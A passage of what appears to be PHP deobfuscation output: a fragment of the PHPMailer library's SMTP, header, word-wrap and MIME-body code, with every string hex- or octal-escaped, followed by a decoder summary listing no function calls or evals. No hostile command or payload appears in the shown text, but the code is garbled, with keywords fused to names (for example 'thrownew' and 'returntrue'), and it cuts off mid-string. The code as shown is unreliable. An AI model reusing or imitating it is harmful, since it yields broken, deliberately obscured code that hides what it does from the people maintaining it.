5f\x63\x6f\x6e\156\145\x63\x74\137\x66\141\x69\x6c\x65\x64"),self::STOP_CRITICAL);}if(!empty($this->Sender)and$this->validateAddress($this->Sender)){$smtp_from=$this->Sender;}else{$smtp_from=$this->From;}if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang("\146\162\157\x6d\x5f\x66\141\151\154\145\x64").$smtp_from."\x20\x3a\40".implode("\54",$this->smtp->getError()));thrownewphpmailerException($this->ErrorInfo,self::STOP_CRITICAL);}foreach(array($this->to,$this->cc,$this->bcc)as$togroup){foreach($togroupas$to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();$bad_rcpt[]=array("\164\x6f"=>$to[0],"\x65\162\162\x6f\162"=>$error["\144\145\x74\141\x69\154"]);$isSent=false;}else{$isSent=true;}$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);}}if(count($this->all_recipients)>count($bad_rcpt)and!$this->smtp->data($header.$body)){thrownewphpmailerException($this->lang("\144\141\x74\x61\137\156\x6f\x74\x5f\141\143\143\x65\160\164\x65\x64"),self::STOP_CRITICAL);}if($this->SMTPKeepAlive){$this->smtp->reset();}else{$this->smtp->quit();$this->smtp->close();}if(count($bad_rcpt)>0){$errstr='';foreach($bad_rcptas$bad){$errstr.=$bad["\164\x6f"]."\72\x20".$bad["\x65\162\x72\x6f\162"];}thrownewphpmailerException($this->lang("\162\145\143\151\160\x69\145\x6e\x74\x73\137\146\x61\151\154\x65\144").$errstr,self::STOP_CONTINUE);}returntrue;}publicfunctionsmtpConnect($options=null){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();}if(is_null($options)){$options=$this->SMTPOptions;}if($this->smtp->connected()){returntrue;}$this->smtp->setTimeout($this->Timeout);$this->smtp->setDebugLevel($this->SMTPDebug);$this->smtp->setDebugOutput($this->Debugoutput);$this->smtp->setVerp($this->do_verp);$hosts=explode("\x3b",$this->Host);$lastexception=null;foreach($hostsas$hostentry){$hostinfo=array();if(!preg_match("\57\136\50\50\x73\x73\154\174\x74\x6c\163\51\x3a\134\57\134\x2f\x29\x2a\x28\133\x61\x2d\172\x41\55\132\60\x2d\71\x5c\x2e\55\135\52\x7c\x5c\133\133\x61\55\146\x41\55\106\60\55\x39\x3a\x5d\x2b\134\135\51\72\77\50\133\60\x2d\71\135\x2a\51\x24\x2f",trim($hostentry),$hostinfo)){$this->edebug("\x49\x67\x6e\157\x72\x69\156\147\x20\x69\156\x76\141\154\x69\144\40\150\x6f\163\x74\x3a\40".$hostentry);continue;}$prefix='';$secure=$this->SMTPSecure;$tls=$this->SMTPSecure=="\x74\x6c\x73";if("\x73\163\x6c"==$hostinfo[2]or''==$hostinfo[2]and"\x73\x73\x6c"==$this->SMTPSecure){$prefix="\x73\x73\x6c\x3a\57\x2f";$tls=false;$secure="\163\163\x6c";}elseif($hostinfo[2]=="\164\154\x73"){$tls=true;$secure="\x74\154\163";}$sslext=defined("\117\x50\x45\116\123\x53\x4c\137\x41\x4c\107\x4f\x5f\123\110\101\61");if("\164\x6c\x73"===$secureor"\163\x73\154"===$secure){if(!$sslext){thrownewphpmailerException($this->lang("\x65\170\164\145\x6e\x73\x69\x6f\156\137\x6d\151\163\163\151\156\147")."\x6f\160\145\156\x73\x73\154",self::STOP_CRITICAL);}}$host=$hostinfo[3];$port=$this->Port;$tport=(int)$hostinfo[4];if($tport>0and$tport<65536){$port=$tport;}if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;}else{$hello=$this->serverHostname();}$this->smtp->hello($hello);if($this->SMTPAutoTLSand$sslextand$secure!="\x73\x73\154"and$this->smtp->getServerExt("\x53\x54\101\122\124\x54\x4c\x53")){$tls=true;}if($tls){if(!$this->smtp->startTLS()){thrownewphpmailerException($this->lang("\143\157\x6e\156\x65\143\x74\137\150\x6f\x73\x74"));}$this->smtp->hello($hello);}if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){thrownewphpmailerException($this->lang("\x61\x75\164\x68\x65\x6e\164\x69\x63\x61\164\145"));}}returntrue;}catch(phpmailerException$exc){$lastexception=$exc;$this->edebug($exc->getMessage());$this->smtp->quit();}}}$this->smtp->close();if($this->exceptionsand!is_null($lastexception)){throw$lastexception;}returnfalse;}publicfunctionsmtpClose(){if(is_a($this->smtp,"\x53\x4d\124\x50")){if($this->smtp->connected()){$this->smtp->quit();$this->smtp->close();}}}publicfunctionsetLanguage($langcode="\x65\156",$lang_path=''){$renamed_langcodes=array("\x62\162"=>"\x70\164\137\x62\x72","\x63\x7a"=>"\143\163","\144\x6b"=>"\144\x61","\x6e\x6f"=>"\156\142","\x73\x65"=>"\x73\x76","\x73\162"=>"\x72\x73");if(isset($renamed_langcodes[$langcode])){$langcode=$renamed_langcodes[$langcode];}$PHPMAILER_LANG=array("\141\165\x74\150\x65\156\164\x69\143\x61\x74\145"=>"\123\x4d\124\120\x20\x45\162\x72\x6f\x72\x3a\x20\x43\157\165\x6c\x64\40\x6e\157\x74\40\141\x75\x74\x68\145\156\x74\x69\143\141\x74\x65\x2e","\x63\157\156\x6e\145\143\x74\x5f\x68\157\x73\164"=>"\x53\x4d\x54\x50\40\x45\x72\162\x6f\x72\72\x20\103\x6f\x75\154\x64\x20\156\x6f\164\40\143\x6f\156\x6e\145\143\164\40\164\157\x20\x53\x4d\x54\120\x20\150\157\x73\164\x2e","\144\x61\164\x61\x5f\156\157\164\137\x61\143\143\x65\160\x74\x65\x64"=>"\x53\115\x54\120\40\105\162\x72\157\162\x3a\40\x64\141\164\141\40\x6e\157\164\40\x61\x63\143\145\160\164\145\144\x2e","\x65\155\160\x74\x79\x5f\155\145\x73\x73\x61\x67\x65"=>"\x4d\x65\x73\163\x61\x67\145\x20\x62\157\x64\x79\40\145\155\160\x74\x79","\x65\156\x63\157\144\x69\x6e\x67"=>"\125\x6e\153\x6e\x6f\167\156\x20\145\156\143\x6f\x64\x69\x6e\147\x3a\40","\x65\x78\x65\143\165\x74\145"=>"\103\157\165\x6c\x64\40\156\157\164\x20\145\170\145\x63\x75\x74\x65\72\40","\146\x69\154\145\137\x61\143\143\145\x73\x73"=>"\x43\x6f\x75\x6c\144\40\x6e\x6f\164\40\x61\x63\143\145\163\163\40\146\x69\154\x65\72\40","\146\x69\154\145\137\x6f\x70\145\x6e"=>"\x46\x69\x6c\145\x20\x45\162\x72\x6f\162\x3a\40\103\157\165\x6c\144\x20\x6e\157\164\x20\157\160\145\156\40\x66\x69\x6c\145\x3a\40","\146\162\157\155\x5f\146\x61\x69\154\145\144"=>"\124\x68\145\40\146\x6f\x6c\x6c\x6f\x77\151\x6e\x67\x20\x46\162\157\x6d\40\x61\x64\x64\162\x65\163\163\40\146\141\x69\x6c\145\144\72\x20","\151\156\163\164\x61\x6e\x74\x69\x61\164\145"=>"\103\x6f\165\x6c\x64\40\x6e\x6f\164\x20\151\156\x73\x74\141\156\164\151\x61\x74\145\40\155\141\151\154\x20\146\x75\156\x63\164\151\157\x6e\56","\151\156\166\141\x6c\151\144\137\x61\144\144\x72\x65\x73\x73"=>"\x49\156\x76\141\x6c\x69\x64\x20\x61\144\x64\162\145\x73\x73\x3a\40","\x6d\x61\x69\x6c\145\x72\x5f\156\157\x74\137\x73\165\x70\x70\157\162\164\x65\x64"=>"\x20\x6d\x61\x69\154\145\x72\40\151\163\x20\156\x6f\164\40\163\165\x70\x70\x6f\162\164\145\x64\56","\x70\162\157\166\151\144\x65\x5f\x61\x64\144\162\x65\x73\x73"=>"\x59\x6f\x75\40\x6d\165\x73\x74\40\x70\162\x6f\166\151\x64\x65\x20\x61\164\40\154\145\x61\x73\164\x20\157\x6e\x65\40\x72\145\x63\x69\x70\x69\x65\x6e\x74\40\145\x6d\141\x69\x6c\40\141\144\144\x72\145\163\163\56","\x72\145\x63\x69\160\x69\145\x6e\164\x73\x5f\x66\141\151\154\x65\144"=>"\x53\x4d\x54\120\40\105\162\x72\x6f\x72\x3a\40\x54\150\145\x20\146\157\154\x6c\x6f\x77\x69\x6e\x67\40\162\145\x63\x69\160\x69\x65\156\164\x73\x20\x66\141\x69\154\145\x64\72\40","\163\151\x67\x6e\x69\156\x67"=>"\x53\x69\147\156\x69\156\x67\x20\105\162\162\x6f\x72\72\x20","\163\155\x74\160\x5f\x63\157\156\x6e\x65\x63\x74\x5f\x66\141\151\x6c\x65\144"=>"\x53\115\124\120\x20\x63\157\x6e\156\x65\x63\164\50\51\x20\146\141\151\154\145\144\56","\x73\x6d\x74\160\137\145\x72\x72\157\x72"=>"\x53\115\124\120\x20\x73\x65\162\x76\145\x72\x20\x65\x72\x72\x6f\x72\72\x20","\166\141\162\151\x61\x62\x6c\x65\x5f\163\x65\164"=>"\x43\141\x6e\x6e\x6f\164\x20\163\145\x74\x20\157\162\40\162\145\163\x65\x74\40\166\x61\x72\151\x61\142\154\x65\72\40","\145\x78\164\145\156\x73\x69\x6f\x6e\x5f\155\x69\x73\163\151\156\147"=>"\105\170\x74\x65\x6e\x73\x69\157\x6e\40\x6d\x69\x73\163\x69\156\147\x3a\40");if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR."\154\141\x6e\147\x75\141\x67\145".DIRECTORY_SEPARATOR;}if(!preg_match("\x2f\136\133\x61\x2d\x7a\x5d\173\62\x7d\x28\x3f\x3a\x5f\133\x61\x2d\x7a\x41\x2d\132\135\x7b\x32\175\x29\77\44\x2f",$langcode)){$langcode="\x65\156";}$foundlang=true;$lang_file=$lang_path."\160\x68\160\x6d\x61\151\154\145\x72\56\154\141\156\x67\55".$langcode."\x2e\160\150\160";if($langcode!="\145\156"){if(!self::isPermittedPath($lang_file)or!is_readable($lang_file)){$foundlang=false;}else{$foundlang=(include$lang_file);}}$this->language=$PHPMAILER_LANG;return(bool)$foundlang;}publicfunctiongetTranslations(){return$this->language;}publicfunctionaddrAppend($type,$addr){$addresses=array();foreach($addras$address){$addresses[]=$this->addrFormat($address);}return$type."\x3a\40".implode("\x2c\40",$addresses).$this->LE;}publicfunctionaddrFormat($addr){if(empty($addr[1])){return$this->secureHeader($addr[0]);}else{return$this->encodeHeader($this->secureHeader($addr[1]),"\160\x68\x72\141\x73\145")."\40\x3c".$this->secureHeader($addr[0])."\76";}}publicfunctionwrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf("\40\x3d\45\x73",$this->LE);}else{$soft_break=$this->LE;}$is_utf8=strtolower($this->CharSet)=="\165\164\x66\x2d\x38";$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->fixEOL($message);if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);}$lines=explode($this->LE,$message);$message='';foreach($linesas$line){$words=explode("\x20",$line);$buf='';$firstword=true;foreach($wordsas$word){if($qp_modeandstrlen($word)>$length){$space_left=$length-strlen($buf)-$crlflen;if(!$firstword){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=="\x3d"){$len--;}elseif(substr($word,$len-2,1)=="\75"){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf.="\x20".$part;$message.=$buf.sprintf("\75\x25\x73",self::CRLF);}else{$message.=$buf.$soft_break;}$buf='';}while(strlen($word)>0){if($length<=0){break;}$len=$length;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=="\75"){$len--;}elseif(substr($word,$len-2,1)=="\x3d"){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message.=$part.sprintf("\x3d\x25\x73",self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;if(!$firstword){$buf.="\40";}$buf.=$word;if(strlen($buf)>$lengthand$buf_o!=''){$message.=$buf_o.$soft_break;$buf=$word;}}$firstword=false;}$message.=$buf.self::CRLF;}return$message;}publicfunctionutf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,"\x3d");if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);}$foundSplitPos=true;}elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack+=3;}}else{$foundSplitPos=true;}}return$maxLength;}publicfunctionsetWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case"\141\154\x74":case"\141\154\164\137\151\156\x6c\x69\x6e\x65":case"\141\x6c\x74\x5f\141\x74\164\141\143\150":case"\141\x6c\x74\x5f\151\156\x6c\151\156\x65\x5f\141\x74\x74\141\x63\x68":$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);break;}}publicfunctioncreateHeader(){$result='';$result.=$this->headerLine("\104\141\164\145",$this->MessageDate==''?self::rfcDate():$this->MessageDate);if($this->SingleTo){if($this->Mailer!="\155\x61\151\x6c"){foreach($this->toas$toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);}}}else{if(count($this->to)>0){if($this->Mailer!="\155\x61\x69\x6c"){$result.=$this->addrAppend("\124\157",$this->to);}}elseif(count($this->cc)==0){$result.=$this->headerLine("\124\x6f","\x75\x6e\144\151\163\x63\154\x6f\163\x65\144\55\162\145\x63\x69\160\151\x65\156\164\163\x3a\x3b");}}$result.=$this->addrAppend("\x46\162\157\155",array(array(trim($this->From),$this->FromName)));if(count($this->cc)>0){$result.=$this->addrAppend("\103\x63",$this->cc);}if(($this->Mailer=="\163\145\x6e\144\x6d\141\151\154"or$this->Mailer=="\x71\x6d\x61\x69\x6c"or$this->Mailer=="\155\141\151\x6c")andcount($this->bcc)>0){$result.=$this->addrAppend("\102\x63\143",$this->bcc);}if(count($this->ReplyTo)>0){$result.=$this->addrAppend("\x52\x65\160\x6c\x79\55\124\157",$this->ReplyTo);}if($this->Mailer!="\x6d\141\x69\x6c"){$result.=$this->headerLine("\x53\165\142\152\x65\143\x74",$this->encodeHeader($this->secureHeader($this->Subject)));}if(''!=$this->MessageIDandpreg_match("\57\x5e\x3c\x2e\x2a\x40\56\52\x3e\x24\57",$this->MessageID)){$this->lastMessageID=$this->MessageID;}else{$this->lastMessageID=sprintf("\74\45\163\100\x25\163\76",$this->uniqueid,$this->serverHostname());}$result.=$this->headerLine("\x4d\x65\163\x73\x61\x67\145\55\111\x44",$this->lastMessageID);if(!is_null($this->Priority)){$result.=$this->headerLine("\x58\55\120\162\151\157\162\x69\x74\171",$this->Priority);}if($this->XMailer==''){$result.=$this->headerLine("\130\55\115\141\151\154\x65\162","\120\110\x50\115\x61\151\x6c\145\x72\x20".$this->Version."\40\50\150\164\164\160\163\72\57\57\x67\x69\164\150\165\x62\56\x63\x6f\x6d\57\120\x48\x50\x4d\x61\x69\154\145\162\x2f\x50\110\120\115\x61\151\154\145\x72\51");}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result.=$this->headerLine("\130\x2d\115\141\x69\154\x65\x72",$myXmailer);}}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine("\104\x69\163\160\157\163\x69\164\151\x6f\156\x2d\x4e\157\x74\151\x66\x69\143\x61\x74\151\157\x6e\x2d\124\157","\74".$this->ConfirmReadingTo."\76");}foreach($this->CustomHeaderas$header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));}if(!$this->sign_key_file){$result.=$this->headerLine("\x4d\x49\x4d\105\x2d\x56\x65\x72\x73\151\x6f\156","\x31\56\x30");$result.=$this->getMailMIME();}return$result;}publicfunctiongetMailMIME(){$result='';$ismultipart=true;switch($this->message_type){case"\151\x6e\x6c\151\156\145":$result.=$this->headerLine("\x43\157\156\164\x65\156\164\55\x54\x79\160\145","\155\165\x6c\164\151\160\141\162\x74\57\x72\145\x6c\141\164\145\144\x3b");$result.=$this->textLine("\11\x62\x6f\165\x6e\x64\x61\162\171\75\x22".$this->boundary[1]."\x22");break;case"\141\x74\x74\x61\143\150":case"\151\156\x6c\x69\x6e\145\137\141\x74\x74\141\143\x68":case"\141\x6c\x74\x5f\x61\164\x74\141\143\150":case"\x61\154\x74\137\x69\156\154\x69\x6e\145\x5f\x61\164\x74\141\x63\150":$result.=$this->headerLine("\x43\157\x6e\164\x65\x6e\164\x2d\124\171\x70\145","\155\x75\154\164\151\160\x61\x72\164\57\x6d\151\x78\x65\x64\73");$result.=$this->textLine("\x9\142\157\165\x6e\144\141\162\x79\75\x22".$this->boundary[1]."\42");break;case"\x61\x6c\164":case"\x61\154\x74\x5f\x69\x6e\x6c\x69\x6e\145":$result.=$this->headerLine("\103\157\x6e\x74\x65\x6e\x74\x2d\124\x79\160\x65","\x6d\x75\x6c\x74\151\x70\x61\x72\164\x2f\141\154\x74\x65\x72\x6e\x61\164\x69\x76\x65\73");$result.=$this->textLine("\x9\142\157\x75\156\144\141\162\x79\75\x22".$this->boundary[1]."\42");break;default:$result.=$this->textLine("\103\157\x6e\164\x65\156\x74\x2d\124\171\160\145\72\x20".$this->ContentType."\73\40\143\x68\x61\162\x73\145\164\x3d".$this->CharSet);$ismultipart=false;break;}if($this->Encoding!="\67\x62\151\164"){if($ismultipart){if($this->Encoding=="\70\x62\x69\164"){$result.=$this->headerLine("\x43\157\x6e\164\x65\x6e\x74\55\x54\x72\141\156\163\146\145\x72\x2d\x45\156\143\157\x64\x69\x6e\147","\x38\x62\x69\164");}}else{$result.=$this->headerLine("\103\157\156\164\145\x6e\x74\x2d\x54\x72\141\156\163\x66\x65\162\55\105\x6e\143\157\x64\x69\156\x67",$this->Encoding);}}if($this->Mailer!="\x6d\x61\x69\x6c"){$result.=$this->LE;}return$result;}publicfunctiongetSentMIMEMessage(){returnrtrim($this->MIMEHeader.$this->mailHeader,"\12\xd").self::CRLF.self::CRLF.$this->MIMEBody;}protectedfunctiongenerateId(){returnmd5(uniqid(time()));}publicfunctioncreateBody(){$body='';$this->uniqueid=$this->generateId();$this->boundary[1]="\x62\x31\137".$this->uniqueid;$this->boundary[2]="\142\62\x5f".$this->uniqueid;$this->boundary[3]="\x62\x33\x5f".$this->uniqueid;if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;}$this->setWordWrap();$bodyEncoding=$this->Encoding;$bodyCharSet=$this->CharSet;if($bodyEncoding=="\x38\x62\x69\x74"and!$this->has8bitChars($this->Body)){$bodyEncoding="\67\x62\x69\x74";$bodyCharSet="\165\x73\x2d\x61\163\143\151\151";}if("\x62\141\163\145\x36\x34"!=$this->Encodingandself::hasLineLongerThanMax($this->Body)){$bodyEncoding="\x71\165\x6f\164\x65\x64\x2d\160\162\x69\x6e\164\x61\x62\x6c\x65";}$altBodyEncoding=$this->Encoding;$altBodyCharSet=$this->CharSet;if($altBodyEncoding=="\x38\142\x69\x74"and!$this->has8bitChars($this->AltBody)){$altBodyEncoding="\x37\x62\x69\164";$altBodyCharSet="\165\163\x2d\x61\163\x63\151\151";}if("\142\141\x73\145\66\64"!=$altBodyEncodingandself::hasLineLongerThanMax($this->AltBody)){$altBodyEncoding="\161\165\x6f\x74\x65\x64\x2d\x70\162\151\x6e\164\141\x62\x6c\x65";}$mimepre="\x54\150\x69\x73\x20\x69\163\40\x61\x20\155\x75\x6c\x74\x69\x2d\160\x61\x72\x74\40\x6d\145\163\x73\x61\147\145\40\151\156\40\115\x49\x4d\x45\40\x66\x6f\x72\155\141\x74\x2e".$this->LE.$this->LE;switch($this->message_type){case"\151\x6e\154\x69\156\145":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("\x69\156\154\x69\156\145",$this->boundary[1]);break;case"\141\164\x74\x61\143\x68":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("\x61\x74\x74\x61\x63\x68\x6d\145\156\x74",$this->boundary[1]);break;case"\x69\x6e\x6c\x69\156\x65\137\141\164\164\141\143\x68":$body.=$mimepre;$body.=$this->textLine("\55\x2d".$this->boundary[1]);$body.=$this->headerLine("\103\157\156\164\x65\x6e\x74\x2d\124\x79\x70\145","\x6d\165\154\x74\x69\160\141\x72\x74\x2f\162\145\154\x61\164\x65\x64\x3b");$body.=$this->textLine("\11\142\x6f\x75\x6e\x64\141\162\171\75\42".$this->boundary[2]."\42");$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("\x69\156\154\x69\x6e\x65",$this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll("\x61\x74\164\141\x63\x68\x6d\145\156\x74",$this->boundary[1]);break;case"\141\x6c\164":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,"\x74\x65\x78\x74\57\160\154\x61\x69\x6e",$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,"\164\145\x78\x74\x2f\150\x74\155\154",$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'',"\x74\x65\x78\164\57\143\141\154\x65\156\x64\x61\162\x3b\x20\x6d\x65\164\150\x6f\x64\x3d\122\105\121\125\105\123\124",'');$body.=$this->encodeString($this->Ical,$this->Encoding);$body.=$this->LE.$this->LE;}$body.=$this->endBoundary($this->boundary[1]);break;case"\141\154\x74\137\151\156\x6c\x69\x6e\145":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,"\x74\x65\x78\164\57\x70\x6c\141\151\x6e",$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine("\

Function Calls

None

Variables

None

Stats

MD5 2c1188b9606ff0d4155afa85d2847037
Eval Count 0
Decode Time 90 ms